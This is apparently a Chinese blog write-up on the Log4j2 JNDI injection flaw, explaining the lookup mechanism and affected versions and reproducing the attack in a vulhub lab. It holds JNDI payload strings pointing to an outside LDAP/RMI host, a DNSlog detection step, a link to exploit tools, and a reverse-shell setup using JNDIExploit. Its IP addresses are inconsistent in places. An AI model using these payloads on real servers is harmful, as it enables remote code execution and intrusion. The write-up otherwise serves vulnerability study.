🗒️log4j2 JNDI注入漏洞
2022-8-7
| 2023-10-29
字数 592阅读时长 2 分钟
type
status
date
slug
summary
tags
category
icon
password

简介

Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。
log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。

JNDI实现原理

JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)查找资源。
格式 ${jndi:rmi:192.168.96.1:1099/wqiyua}
notion image

漏洞原理

当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中
假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp
解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找
在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入
攻击者就可以通过shell实现任意的命令执行,造成严重危害。

受影响版本

Apache Log4j 2.x <= 2.14.1

漏洞复现(vulhub)

工具地址:

https://pan.baidu.com/s/1lxXt-27-i7I_dOUACphVtQ 提取码: nkc5

1. 检测漏洞是否存在

在线dns平台http://dnslog.cn/申请一个dns域名
构造payload并访问:
notion image
得到了jdk版本1.8.0_102
notion image
或者这样请求都可以
notion image
dns平台可以收到解析即说明漏洞存在

2. 反弹shell复现

《java版本不知是否有影响》
攻击机: 192.168.110.131
中转机: 192.168.110.128
靶机: 192.168.110.132:8983
首先中转机(0.0.0.128)(java 11)执行命令:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.110.128
notion image
然后在攻击机(0.0.0.131)(java1.8)上监听6666端口
notion image
最后构造命令在浏览器访问
notion image
发现攻击机监听成功
notion image
 
  • 漏洞复现
  • redis未授权getshelllog4j 反序列化漏洞
    Loading...